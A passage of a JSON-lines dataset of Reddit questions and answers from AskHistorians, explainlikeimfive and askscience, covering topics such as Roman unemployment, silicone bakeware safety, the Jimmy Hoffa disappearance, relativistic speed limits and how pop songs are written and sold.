many of whom were Senators - didn't exactly want this to change. The Gracchi brothers would inspire several later populists, who would eventually form the \"populares\" faction in Roman politics. Some of them may have just been using populism to gain power, but some of them probably did genuinely believe in helping the unemployed.\n\nJulius Caesar was a populare, and tried his hand at reform by forcing landowners to employ not just slaves but citizens, but his reforms did not last and unemployment would continue to plague the dying Republic and the later Empire throughout its existence. This is why Roman Emperors focused a great deal on \"bread and circuses\" - free grain was needed to feed the jobless that mucked around Rome and other large cities and free entertainment - gladiators, chariot races, parades, etc - were needed to keep them occupied and content. Fail, and an Emperor could find himself facing unrest and riots. Emperors would have to keep up putting on these costly shows well into the Byzantine era.", "I literally just got back from a lecture on unemployment in Ancient Rome. I'll try and distill what the Professor said into a post of reasonable length. \n\nThe setting is Republican Rome, the 2nd century BCE. Rome has been engaged in aggressive conquest for decades, finally culminating in the absolute destruction of Rome's stalwart enemy, Carthage in the Third Punic War in 149 BCE. Roman rule spread from Spain to Syria, from present day Morocco to Marseille. After the last of the Punic Wars, many Roman soldiers,. heavily recruited from the landed peasantry, returned home after years, possibly decades of service. What they came back to was radically different than what they had left.Their lands were devastated by the \"scorched earth\" policies of Fabius Maximus in the Second Punic War (218-201 BCE) (designed to deprive Hannibal of sustenance for his Army), as well as ravaged simply by being left fallow and uncared for for so long. \n\nUnable to successfully revitalize their farms and compete with imported grain from the then-fertile North African provinces, or with large estates staffed by newly cheap slaves captured in war, many small landowners sold their plots to the owners of the large estates, and packed themselves off to urban areas in search of work and bread. \n\nThese former small landowners joined the thronging masses of the discontent, hungry, angry urban proletariat. Rome, in order to keep the proletariat under control, legislated cheap or even free bread, and hosted grand circuses to keep the lower class entertained. The proletariat came to believe that this bread and entertainment was rightfully due to them in return for their votes, an attitude which the ruling senatorial aristocracy, invested in keeping themselves in power, had no problem manipulating for their own benefit. Roman politics had become a series of political machines, ala Tammany Hall or the Pendergast Ring. \n\nI realize I went a bit over the scope of the question, but I got excited! \nIn short: Yes, Ancient societies did have unemployment, and, in many ways, it's not so different from Modern unemployment after all!        \n\nEdit: Ahh! u/eighthgear beat me to it! His post is quite good, make sure to look at it! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/comments/w547u/what_was_unemployment_in_ancient_greece_like/c5afj7q"], [], []]}
{"q_id": "c3067h", "title": "is there any reason to worry about products like silicon food storage and baking mats leeching chemicals into food?", "selftext": "Chemistry is not my strong suit but I have taken courses on the basics of general and organic chemistry. Well-rounded details are greatly appreciated as I don't remember much but I should be able to recognize somethings.\n\nI've been told that plastics can leech into food or liquids depending on the conditions so I am a bit wary of these silicon products doing the same. I'm especially worried about the baking mats considering the high heat. Are my worries valid and backed by science? If so, in which conditions?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c3067h/eli5_is_there_any_reason_to_worry_about_products/", "answers": {"a_id": ["erns0tk", "eroc54h"], "score": [5, 2], "text": ["Your concerns are valid about baking. At reasonable temperatures, silicone won\u2019t create an issue, but at around 300F, siloxane can transfer to food, and just before 400F, it can start releasing formaldehyde (although the amount is not a huge concern). Silicone is still better than non-stock bakeware, but glass, ceramic, and cast iron are the safe options.", "Yes and no.\n\nThere are reasons to worry about it for the people manufacturing those products.  THey spend a lot of time and money making sure that those products are safe to sue and won't cause harm- partly to make sure they have a good product, and partly to ensure that they don't violate any laws regarding levels of chemicals or end up being liable for someone getting hurt by their product.\n\nThere's practically no reason for you as a consumer to worry about it, because the manufacturer and relevant government agencies should have done their job and made sure that it won't happen."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3kvqg3", "title": "How did carbohydrates originally form?", "selftext": "I know how amino acids originally formed (thanks to miller-Urey experiments or panspermia) but how did carbohydrates form originally, I couldn't find a source online for an answer so I turn to reddit. \n\nHere's the most informative link I could find, but it's pretty barren in terms of raw information _URL_0_\n\nI guess a follow up question would be would carbohydrates have been necessary to early life?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3kvqg3/how_did_carbohydrates_originally_form/", "answers": {"a_id": ["cv0ybti", "cv10ab2"], "score": [7, 5], "text": ["Firstly, we don't know for sure the mechanism behind the initial amino acid or sugar formation on earth. The urey experiment demonstrates amino acids can form abiotically but we don't know if that really was the method by which primal amino acids formed. \n\nBut we do know that polar compounds and metals can coordinate and catalyze the reduction of carbon dioxide, [that's how the most important enzyme on earth works](_URL_0_), and once activated this way carbon dioxide is pretty willing to form carbon carbon bonds (which is the basis of sugar chemistry). Ordinarily proteins like RuBisCO function to bring all these elements together in favorable geometries and controlled conditions but it is reasonable to think that element concentration in some primordial pool or on the surface of rocks near hydrothermal vents might provide conditions necessary for that initial synthesis.\n\nAs for carbohydrates being necessary to early life: its possible they were the most important thing. RNA is a derivative of the sugar ribose, and DNA is a derivative of RNA. We have observed that life, even the simplest life, uses RNA both to carry information and catalyze reactions, so it seems very likely that all of us descended from some sort of collection of autocatalytic RNA molecules.", "Panspermia is still an open method for the delivery of carbohydrates. Asteroids have been observed to carry a number of 3 to 6 carbon chain polyols (such as glycerol). So, it remains a possibility that these form the abiotic basis of the earliest carbohydrates. I'm not aware of a synthesis scheme that takes you from such polyols to things like ribose.\n\nIt seems moderately clear that ribose is likely among the very earliest of biologically useful carbohydrates to form. It is critical to the formation of RNA (c.f. RNA world hypothesis) but it is also a core part of a number of critical and universal biological small molecules including; ATP, ADP, NAD, FAD, Coenzyme A, cAMP, GTP etc... This is suggestive of key role for ribose in early life. However I don't believe there is a published abiotic synthesis for ribose, I think all attempts at this have been fruitless thus far.\n\nThat said in 2009 in Nature an abiotic synthesis scheme for pyrimidine ribonucleotides was published\n\n_URL_0_\n\nThe interesting thing here is that they don't synthesise these nucleotides via ribose synthesis. Essentially you start with cyanamide, cyanoacetylene, glycolaldehyde, glyceraldehyde and inorganic phosphate, these are reacted to form **arabinose amino-oxazoline** and **anhydronucleoside intermediates** and these in turn can be assembled directly in to a pyrimidine. This bypasses ribose synthesis and interestingly also bypasses the problem of selectively adding nucleobases to the ribose. \n\nObviously this isn't proof that this particular synthesis was the original abiotic one but it demonstrates that there is at least one synthesis pathway for ribonucleotides using plausible hadean world chemical precursors."]}, "title_urls": [], "selftext_urls": ["http://www.sciencedaily.com/releases/2012/01/120124092930.htm"], "answers_urls": [["http://www.ncbi.nlm.nih.gov/books/NBK22344/"], ["http://www.nature.com/nature/journal/v459/n7244/full/nature08013.html"]]}
{"q_id": "10ubdi", "title": "the significance of jimmy hoffa and why they are still trying to find his remains.", "selftext": "EDIT: Wow, thanks everyone for answering. I woke up today to the NBC news flash on my phone \"No signs of human remains found at Jimmy Hoffa dig, WDIV Detroit reports.\" I was all, WTF, how is this still breaking news that they can't find or want to find this guy?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/10ubdi/eli5_the_significance_of_jimmy_hoffa_and_why_they/", "answers": {"a_id": ["c6gq4o0", "c6gr4lo", "c6gr5ak", "c6gsatq", "c6gsbg5", "c6gtka1", "c6gwiih", "c6gxb5z", "c6gy1j5", "c6gz1j1", "c6h0310"], "score": [15, 21, 240, 307, 25, 4, 7, 14, 2, 2, 3], "text": ["All i know is don't fuck with the teamsters....", "There's a book called \"I Heard You Paint Houses\" by Charles Brandt that recalls \"the inside story of the mafia, the teamsters, and the last ride of Jimmy Hoffa\". From what I remember the book was published upon the author's death. Don't quote me on this but I think Hoffa was kidnapped, murdered, and cremated.", "I have read books and watched all interviews with Richard \"the Ice Man\" Kuklinski. The most notorious mafia hitman of all time. He said in plain english that Jimmy Hoffa was killed days after he went missing and he was put into a barrel and shipped to a junk yard to be crushed, melted down and recycled. I have no reason to doubt him. ", "Jimmy Hoffa was a union organizer for the Teamsters and became its president when the former leader was imprisoned. He also had pretty deep ties to the Mafia, so there was a lot of organized crime under his leadership, such as bribery of a grand juror and outright fraud by siphoning from the union pension for personal gain. The Kennedy administration investigated the Teamsters and Hoffa was found guilty of his crimes and sent to prison. He was supposed to be there for 13 years, but Nixon let him out after 4 (rumor has it that a deal was made between he and Nixon, since he was a supporter and very strongly Republican, but ymmv). After his release, Mafia bosses issued a meeting with Hoffa, then he vanished. My guess would be that he drew their ire by getting caught.\n\nThat's basically the gist of the incident. He hasn't been found since.\n\nAs for why they're still looking for him, I'm not exactly sure. It's an event that still manages to fascinate people to this day. After all, it is an unsolved mystery that would be a fairly interesting thing to finally uncover.", "Everyone else put in most of it, but I'll add the local perspective;\n\nThere's a slight air of mystery to the whole thing if you live in the area. The Machas Red Fox is known as \"The last place Hoffa was Seen.\" We care about finding remains (aside from knowing he's dead) is hope that there will be some form of evidence present, ideally tracing to criminal overlords/villains/etc.\n\nThe most credible rumor I've heard is that he's part of the Renaissance Center's Foundation (Makes sense given the workers involved in the construction and the timeframes involved.) ", "It might not have been a problem with the Mafia as a whole (if those folks ever do act in a unified manner), but with a particular *capo* named Anthony \"Tony Pro\" Provenzano. Originally friends, Hoffa and Provenzano apparently had a falling out while they were both in prison.  \n\n >  After they were both released from Lewisburg, a federal informant claimed to have witnessed a violent confrontation between Provenzano and Hoffa at a chance meeting at an airport.  According to Lester Velie in Desperate Bargain: Why Jimmy Hoffa Had to Die, \"Hoffa and Provenzano went at it with their fists, and Hoffa broke a bottle over Provenzano's head.\"  Provenzano angrily threatened Hoffa's grandchildren, swearing \"I'll tear your heart out!\"\n\n[Source](_URL_0_).", "PS-it might interest you to know that Jimmy Hoffa's son is still alive, and still organizing for labor unions/busy being President of the Teamsters' Union.  My parents met him not too long ago at an organizing meeting, and they pretty much lost their shit about it.  [There's still a a Hoffa \nleading the Teamsters!](_URL_0_)", "Why people are so fascinated by the mystery might be more evident when reading this whole thread than when reading any single response. Real mysteries don't happen when there's no explanation, but when there are too many explanations.", "Any time unions show up in the news, Jimmy Hoffa's story shows up too. He's sort of like an object lesson for the American people.", "Rumor has it that he crossed the Mafia, and they retaliated by killing him and placing his remains in cement mix at a popular venue/stadium (don't remember which one); can anyone expand on this?", "Because human remains at the base of a weight bearing structure are dangerous."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.trutv.com/library/crime/notorious_murders/famous/jimmy_hoffa/1.html"], ["http://en.wikipedia.org/wiki/James_P._Hoffa#Organizing_successes"], [], [], [], []]}
{"q_id": "s1wdp", "title": "Is there a *theoretical* maximum velocity for a mass with a constant thrust traveling through a vacuum?", "selftext": "I understand basic relativistic physics and know that as we approach the speed of light, the the effective mass of an object will increase until it will take an infinite amount of energy to keep accelerating that object.\n\nThat being said, is there an equation to determine at which velocity does an object's increase in mass render the acceleration generated by a constant thrust negligible?\n\nEdit:\n\nMaybe I should rephrase my question. Is there an equation to help determine at what point a ship should stop producing thrust because the acceleration generated is no longer worth the energy required?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/s1wdp/is_there_a_theoretical_maximum_velocity_for_a/", "answers": {"a_id": ["c4aexlo", "c4ahvff", "c4ai9tt"], "score": [18, 4, 2], "text": ["You know how for that situation, assuming Newtonian physics, the velocity is equal to the acceleration times time?\n\nIn relativistic physics, the velocity as a fraction of light speed is equal to the hyperbolic tangent of velocity times time, and that asymptotically approaches one.", "'Relativistic mass' is not a concept that is really used anymore, because it causes too much confusion.  These days, momentum tends to be treated as the important variable, and 'mass' will refer to the rest mass of the object.", "an infantesimal amount away from the speed of light"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6ul6mw", "title": "how do some people who are anaphylactic from birth eventually become 'unallergic' as they grow older?", "selftext": "Is there any particular way to induce this, or does it just happen naturally?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ul6mw/eli5_how_do_some_people_who_are_anaphylactic_from/", "answers": {"a_id": ["dltib19"], "score": [3], "text": ["Yer not alone in askin', and kind strangers have explained:\n\n1. [ELI5: How it is possible to \"grow out\" of allergies? ](_URL_1_)\n1. [ELI5: How is it possible that people can \"grow-out\" of allergies? ](_URL_2_)\n1. [ELI5: Can you become immune to allergies? ](_URL_0_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/explainlikeimfive/comments/21v84h/eli5_can_you_become_immune_to_allergies/", "https://www.reddit.com/r/explainlikeimfive/comments/6ac80q/eli5_how_it_is_possible_to_grow_out_of_allergies/", "https://www.reddit.com/r/explainlikeimfive/comments/2deutn/eli5_how_is_it_possible_that_people_can_growout/"]]}
{"q_id": "1wr6k6", "title": "What did people think the sound of a human heartbeat was before there was a basic understanding of human anatomy?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1wr6k6/what_did_people_think_the_sound_of_a_human/", "answers": {"a_id": ["cf4z4bc"], "score": [23], "text": ["I just want to point out that a basic understanding of human anatomy has existed for a very long time.  Aristotle wrote about the ventricles of the heart in the 3rd century BC. [Source](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/6352197"]]}
{"q_id": "49uehj", "title": "what allows us to have opinion and unique thoughts?", "selftext": "I posted this to r/askscience but got no replies. If your senses are just a serious of complex transducers and our brain is just a processor for these signals, where do our opinions come from? (eg. Liking/not liking certain foods, music, art) What gives one persons brain the ability to think any differently than another's? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49uehj/eli5_what_allows_us_to_have_opinion_and_unique/", "answers": {"a_id": ["d0uya40"], "score": [2], "text": ["A brain is only as good as the connections inside.  How things are wired up.  From our parents, our brains come pre-wired to like or dislike certain things.  As we grow and are exposed to new and different things our brain keeps getting wired up in new ways.  If we ate spaghetti right before we got the flu and threw it up, might give us a big aversion to spaghetti.\n\nWe can also train our brains to think differently.  We can learn new skills and aquire tastes.  Every day, every experience is shaping the already shaped brain, so the same experience might affect two people in very different ways.\n\nA box of wires, batteries, resistors, transistors, and diodes, can be wired up in countless ways but they're all made of the same stuff."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "52ccyz", "title": "how do wild animals deal with burrs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/52ccyz/eli5_how_do_wild_animals_deal_with_burrs/", "answers": {"a_id": ["d7j4jx0", "d7j4zvh"], "score": [22, 4], "text": ["Burs are actually meant to help disperse seeds. The point is to stick to fur. Most animals don't notice them because they have thick fur to prevent them from sticking their skin. The burs come off when an animal scratches or grooms itself, or it just falls off. Humans notice them because we don't have thick fur to catch them and they poke our skin and hurt.", "Most solitary animals can groom most of their surface themselves and if needed a tree or other surface can be used as a scratching post. The seeds themselves are not intended to stay on for a long time, just long enough to be dispersed to a new area and grow a new plant \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.imgur.com/rNkwatY.gif"]]}
{"q_id": "2g87dd", "title": "Was there an equivalent in medieval times to \"guest rights\" like we see in Game of Thrones?", "selftext": "In Game of Thrones, guest rights are the religious-based laws of hospitality that protect you from harm by your host once you've shared their bread and salt (or any food and drink). \n\nIs this based on anything in reality? Were there unspoken laws of hospitality that were mutually understood and accepted by everyone? Is there an example of real life guest rights being violated to the outrage of the people like in the [(hover here for GoT spoiler)](/s \"Red Wedding where the Freys butchered their wedding guests for political gain\")?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2g87dd/was_there_an_equivalent_in_medieval_times_to/", "answers": {"a_id": ["ckgtpwa"], "score": [2], "text": ["The way guest rights work in Westeros bears a strong ressemblance to the ancient Greek custom of xenia. It's so similar, in fact, that I wouldn't be surprised if George R.R. Martin was making a deliberate reference to it. Basically, xenia was a strong social code in Greece in which hosts agreed to take care of their guests, and showing hospitality to your guests, even if they were strangers, was important. Likewise, guests were to not abuse a host's hospitality, but to behave honorably and appreciatively. There are many ancient Greek stories that hinge on violations of xenia. That is, in western culture today, it's considered bad manners to treat your guest or host rudely, but it was a much more significant violation of the social code to behave in such a way in Ancient Greece. Actually, the same can be said in the Old Testament. Examples: if you've read The Odyssey, you'll see a huge component of the story is the Suitors living in Odysseus's house, and taking advantage of his hospitality. Penelope, Odysseus's wife, gave them food and drink and beds, as a good host should. But they behaved badly, defiled the home's servants, gobbled down whatever food they wanted, refused to leave (overstayed their welcome) and worst of all, tried to get Penelope to marry them, usurping Odysseus's place. Likewise, when Paris ran away with Helen, who was married to Menelaus, he not only violated the marital code, but he also betrayed his host, since Paris was a guest of Menelaus at the time. And one of Hercules's labors was to kill the evil innkeeper, Procrustus, who would welcome guests to his home, but then, when it was time to sleep, he would have the guests fit his bed. If the men were shorter than the bed, he'd put them on a rack to stretch them. If the men were too long for the bed, he'd cut them down to size, literally. In the Bible, Genesis 19:1-11, a gang of men come to Lot's house to gang rape Lot's 2 male guests (who are Angels, unbeknownst to anybody). Lot offers up his two virgin daughters to be forced to have sex with the men, in order not to violate the guest/host relationship by allowing harm to come to his guests. (This passage is, in my opinion, meant humorously, but that element has been lost in time and in the desire of some to take the Bible literally).\n\nIncidentally, in Judaism, it is a custom that at the beginning of the sabbath each week, you eat bread (challah) with salt. Plus wine. So there's an example of bread and salt being eaten together."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3wj2ir", "title": "how can i consistently blow my nose all day without ever running out of mucus?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3wj2ir/eli5_how_can_i_consistently_blow_my_nose_all_day/", "answers": {"a_id": ["cxwjtsd", "cxwjwdk"], "score": [15, 5], "text": ["You don't run out of it because mucus is constantly produced by special cells in the mucous glands. When having a cold, these cells produce more mucus than normal to protect the lungs from getting infected.", "Your mucus is not a limited stock item. Your body produces more mucus as it runs out, i.e when you sneeze or blow your nose. Mucus is your protection against foreign particles in the air cus it traps them. When you fall sick, your body decides you need more protection so you get more mucus to protect your lungs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5iwdjg", "title": "emergent gravity", "selftext": "[New theory of gravity might explain dark matter](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5iwdjg/eli5_emergent_gravity/", "answers": {"a_id": ["dbchf9a"], "score": [3], "text": ["From what I read in the article, here's my explanation:\n\nDark matter is a phenomenon which we have multiple hypotheses for. The phenomenon is that mass in space sometimes behaves in ways our current understanding of it does not account for. So, either we have gravity wrong, or something else is happening we don't know about. Some people think it's WIMPs, or particles we can't really see except for their gravity. Others think that the force of gravity behaves slightly differently from how we thought it did. So far there is not any proven theory.\n\nEmergent gravity basically proposes that gravity is not one of the fundamental forces of the universe, which we thought it was. Instead, it's a force created by tiny changes in particles. Particles contain small bits of information about themselves, and when this fundamental information changes, it creates gravity. In this model, dark matter is accounted for. This does not mean it is right, but if the article represents it correctly, the hypothesis is worth investigating."]}, "title_urls": [], "selftext_urls": ["http://phys.org/news/2016-11-theory-gravity-dark.html"], "answers_urls": [[]]}
{"q_id": "1x8d1y", "title": "if a tank truck could use the gas in it's tank as a fuel source, how far could it drive?", "selftext": "I know this depends on the size of the tank, truck mileage, road conditions, etc., so please note any workings. I tried to work it out myself, but couldn't find all the data online.  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1x8d1y/if_a_tank_truck_could_use_the_gas_in_its_tank_as/", "answers": {"a_id": ["cf90r1a", "cf96p1d"], "score": [30, 14], "text": ["Assuming all the plumbing is setup and the tractor could refuel from its trailor....\n\n[The average tank trailer for commercial road haulage seems to be 6,000-8,000 gallons.](_URL_0_)\nLets go with 7000 gallons.\n\n[Recent American government transport and energy laws have stated that 2014+ model year trucks will have to adhere to about 7.2 MPG](_URL_1_).  So lets assume we have a new 2014 mid-roof class 8 sleeper cab truck.\n\nAs for the trucks own fuel tanks, a new Kenworth W900 has up to 150 gallons = 1080 miles.\n\n7,000 gallons * 7.2 mpg = 50,400 miles.\n\nThis is of course neglecting factors like the load getting lighter as the fuel is consumed, time spent idling at trucks stops etc.", "A tanker can legally carry about 7500 gallons of diesel.  The tank is larger than that, but diesel is heavy so the tank cannot be filled to capacity.\n\nA truck like that averages about 7mpg.  So...quick math....52,500 miles.\n\nSource:  Worked in that industry for about 10 years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.commercialtrucktrader.com/Tanker-Trailer-For-Sale/search-results?category=Tanker+Trailer|2000701&amp;schemecode=AD&amp;type=trailer&amp;vrsn=results", "http://www.c2es.org/federal/executive/vehicle-standards#hdv_2014_to_2018"], []]}
{"q_id": "24v7tg", "title": "since most pop singers don't write their own songs, are songs written specifically for them, or do they shop around and buy ones that fit their style?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24v7tg/eli5_since_most_pop_singers_dont_write_their_own/", "answers": {"a_id": ["chayfox", "chaym58", "chaz467", "chb45xl", "chb52rb", "chb6du3", "chb6oas", "chb70te", "chb72r0", "chb7fca", "chb7h56", "chb7x2a", "chb89aw", "chb9avj", "chb9g9z", "chba1ef", "chba8ro", "chbask5", "chbc7i7", "chbcg96", "chbcmg5", "chbd009", "chbd65s", "chbdfvc", "chbdjfe", "chbds0p", "chbesmr", "chbfaar", "chbj1xv", "chbj2zj", "chbk8px", "chbkz6l", "chbl6w3", "chbljek", "chblo3t", "chblrfm", "chbmkkd", "chbmy6r", "chbnt93", "chbphqb", "chbq12o", "chbq5fg", "chbq961", "chbqa2j", "chbrtjp"], "score": [2112, 8, 221, 15, 150, 143, 28, 21, 3, 2, 8, 7, 91, 2, 2, 4, 6, 25, 3, 14, 2, 2, 47, 2, 22, 3, 3, 4, 2, 6, 6, 2, 4, 2, 2, 7, 2, 2, 2, 2, 2, 3, 4, 2, 2], "text": ["Labels generally have writers. These writers often have a singer in mind when they write their songs. Sometimes, a label has a writer write something for a specific singer, as in they create a team of writers for a singer for a given album. \n\nWhen the label writers are not working on that stuff specifically, they basically are writing songs for the label to \"bank\" and occasionally singers are able to then peruse through them and choose which they like. \n\nFor instance, Miley Cyrus' \"We Can't Stop\" was originally written for Rhianna, but she decided that she didn't want it for her album and it was shopped around to other artists. Miley picked it up and then we all got to see her twerk...(got to see/were subjected to see whichever you prefer)\n\nNot all of these songs are shopped around, but if the label is confident they can make it a radio hit, they will shop it around to artists or if they have an artist contractually obligated they will just tell them to sing it. \n\nSource: I've written a couple songs for a few bands signed to some labels that you will likely never hear of...they paid me a pittance for it at the time and let me have a copy of the tracks as the bands recorded them. I got writing credit inside their album covers for the song - but that doesn't mean much since a lot of people download nowadays. I still write, but not so much for labels, just for fun. \n\n**EDIT/TL;DR**\n\nSome are shopped (where \"shopped\" means the label paid for it already and is trying on artists for it), some are written just for them, some are chosen by the artist from a pile, and some are forced on the artist.", "Usually, songs go shopping for artists not the other way around. A label/agent will get their hands on a new song and start getting in touch with producers/agents/artists to see if there's interest by either the label or the artist. \n\nArtists who record/perform songs written by other people don't usually do their own shopping, as it were. They'll be part of an organization--usually their label, but their agent may have a hand in things too--which has a system of sorts for matching up songs with artists. And the artist almost certainly doesn't pay for his own songs. The label would be the one doing that. ", "excellent article about the process of making a Rihanna hit:\n\n_URL_0_", "Planet Money has a great piece on manufacturing the song of the summer that answers this questions: _URL_0_", "I was actually a pop songwriter for a little. Although, I never made a cent of it I worked with some pretty big songwriters.\n\nThe answer to your question (like most questions) is: it kinda depends.\n\nIt's all dependent on who has the power. Meaning, whose more powerful, the artist or the writer.\n\nUSUALLY:\n\nThere's \"Lists\" of whose going to be making a record. So it'll say \n\nBeyonce - Looking for a hip hop style ballad about female empowerment. \nNew Atlantic Records Artist - Looking for rock songs in the style of Daughtry.\nEtc.\n\nUsually professional songwriters and producers will have these lists and either look through their catalog of work to see if anything matches or write something new to be \"pitched\" to any of these artists.\n\nA well connected songwriter will usually be able to get the \"artist\" (or management) to listen to the song. Than the artist will usually have some notes so like: \"we need it to be more rock\"or \"change the lyrics here.\"\n\nThey'll start working together to make the song perfect for the artist.\n\nAgain its all about power structure. Whose got more juice the artist or the writer? \n\nMary J. Blige can screw over an amateur writer and demand he/she give her the song for free. (I've seen it happen) Someone looking to break into the business would still probably take the deal. Once you have a hit song many doors open for you.\n\nAlso, if one artist passes on a song a writer can go ahead and pitch it someone else.\n\n\n\n\n\n", "Pharrell Williams was on Howard Stern recently.  He talks about how C'Lo almost bought the song Happy, which he ultimately used for himself when it wasn't purchased.  There are many instances of songs almost being made by a famous artist, but ultimately passing on them, only for someone else to take that song and make it a number 1.  \n\nSo, yes, a lot of writers do shop their song around for the best fit or sometimes the most money.", "Music producer here: As a music producer, when creating a record for an artist it is a must to have the song fully written and produced with reference vocals on said production. Record labels want full records these days. Rap records generally have the hooks written before the artist hears them. These records are listened to by the A & R assigned to the album. The A & R determines which records fit the albums vision and are passed on to the artist. The artist chooses which ones they like and records them. That's the way it generally works for \"filler\" records. The artist usually seeks out the singles from tried and trusted producers who work with the best writers. They will come together for a \"listening session\" and go through grade A material which comes with a heavy price tag. ", "The short answer is: it depends. \n\nFirst of all, \"buying\" a song isn't the right terminology since typically, a song doesn't generate money for the owner until the song makes money by purchases, radio airplay, and placements in TV/film. Once the song is bringing in money, then the songwriter is paid based on a lot of really complicated calculations. \n\nIt's important to understand the difference between a label and a publisher. A label in a company that creates recorded music and sells it. They own the \"master\" of a song which is the sound recording of a song. For instance, Oasis \"Wonderwall\" is a different song than Ryan Adams \"Wonderwall\" because they are different recordings. Two different people own the master recording of that song. But, the same person owns the publishing portion of that song. A publisher controls the intellectual property of a song. The rights to record and distribute it. If a label wants to record a song, they have to get a license from whoever owns the publishing. Sometimes it's the songwriter, or in the case of many professional songwriters, they have a publisher. They have signed the rights to their publishing to a company who pays them a fee to create music. that publisher then goes to labels and artists and tries to get them to record the song. Sometimes it's for a specific project, and other times they just take songs that a writer has built up in their catalog of songs and they try and find an artist who fits the song. \n\nThere are a million different ways this can work. Many times labels have their own publishing companies, many times the artist is also a songwriter. An artist can write a song and decide not to record it while a different artist says \"Hey I like that song! I want it!\" \n\nFor the biggest artists, songwriters do try and intentionally write for them. When a writer is writing specifically for an artist they may increase their chances of having that particular artist record the song, but because it's so narrow in focus, they might decrease there chances of having other artist cut it if the original artist decides not to. For instance I could try and write a for Justin Beiber with the lyric \"Buzz buzz buzz it's you and me... I could be your King you could be my Queen Beib\". If the Canadian Wonder like my song then that would be great, but if he didn't, I wouldn't have a very good chance of having a different artist record that song. \n\nSource: I'm a professional songwriter", "Here's an enlightening video of Sia explaining writing Diamonds, which became a big hit for Rihanna: _URL_0_", "If no one else has heard of him the Producer [Dr. Luke](_URL_0_) is responsible for most of the pop of the last decade.", "Tip: Don't phrase your question as a dichotomy (Only offering two options as in: X or Y). Dichotomy is usually a logical fallacy.", "About 25 years ago, I had a buddy who made quite a bit of $$$ writing songs. He had a song recorded by Diana Ross, and another that was bought by Michael Jackson, but never used, among others.\n\nHe had a deal -in some cases- where the artist, or their management bought the song outright, and he relinquished EVERYTHING to them. In effect, the purchaser could actually claim to have written the song.\n\nHe bought a beautiful new house with the $$$ from one song. He used to say \"everybody has a price, and they met mine.' \n\nOddly enough, I knew him as a musician who previously liked to play punk rock type stuff. He got into the songwriting game by focusing on a certain style (pop/R & B) and just kept at it.\n\nHaven't seen him in years. Probably lives in Tahiti now!", "I find it amazing to think that some of these singers are empty. \n\n* Someone writes the song for them\n* Someone chooses the song for them\n* It's not their real voice because it's all digitally enhanced \n* They had plastic surgery done so it's not their real face\n* They have a stylist choose their clothes  \n* They have a PR person that writes their twits\n* They have a PR company that tells them what to say in advance\n\nThey are empty generic plastic dolls. or a sort of machine to make money like the iPhone. They are like an i-doll -  idol \n\n an idol.     \n ", "Here is a really good [podcast](_URL_0_) that explains the process", "Back in the day label also had what were called A & R people (A & R standing for artist and repertoire). It was their job to find appropriate songs for each artist on the roster. Some producers play that role when making records for a band or artist that hired them.", "ITT; A song writer does an IAMA - and should probably do a real AMA", "_URL_0_ this is some of the songs written by swedish song writer Max Martin. The shear number of hits this guy has created is scary!", "Work at a major record label. Contrary to the top comment, labels aren't actively seeking out these songs as much as publishing companies are. Sure they hold writing camps for biiiig pop projects, but for the most part they arent terribly involved in the song writing process outside of a few A & R approval sessions. How it happens more often, pub companies set up sessions between producers and topliners(singers)/writers to work together. \n\nYes they usually have someone in mind when they write the song, but more often then not, it is presented to multiple artist camps. There are countless stories like the Miley Cyrus/Rihanna story mentioned. The even crazier side is when an artist actually records the song, but then through some political bullshit, it never comes out. I have heard some pretty interesting versions of songs you know and love. \n\nPop music is a crazy game. Sometimes like 30 people involved in making one song. It's funny to me when EDM artists get shit for having production teams or \"ghost producers\". It's literally every genre across the board. Music biz is a crazy game. But very fun. ", "Here's the wiki page on Diane Warren:\n\n_URL_0_\n", "This is interesting.  I recently found out that most local radio markets subscribe to a \"content service\" that feeds them morning show content, \"whacky news stories\", phone-scam ideas (including a full script), contest ideas (like find the fugitive and other \"zany\" original sounding contest ideas)...  most morning \"zoo-crew\" radio shows have 90% of their content delivered to them via this service.  It really cuts their production costs down, and let's them have an \"engaging\" morning drive time show with little cost/resources at stake.  I noticed this when I started traveling for work, I would tune in to random cities radio shows and hear the same content/format.   Yet if you ask the locals, they act like they have a real \"gem\" of a morning crew on their local station just inches away from national syndication.  pfffft. ", "The real question is who is actually writing all this terrible shit?", "[Stargate have written a lot of hits for a lot of people](_URL_0_)", "The top post is actually wrong. (not looking to diss the top post just saying) Labels do NOT have writers. That is 100% false. This is not the 1960s.\n\nPUBLISHING companies have 